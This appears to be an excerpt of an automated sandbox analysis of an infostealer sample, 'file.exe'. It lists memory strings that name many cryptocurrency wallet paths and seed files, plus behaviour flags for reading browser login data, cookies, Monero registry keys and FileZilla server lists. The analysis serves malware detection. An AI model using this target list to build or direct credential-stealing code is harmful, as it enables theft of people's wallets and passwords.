Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16esk\AppData\Roaming\\Exodus\\exodus.conf.json
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\app-store.jsonnn
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1873172118.0000000000E24000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1872805672.0000000000940000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

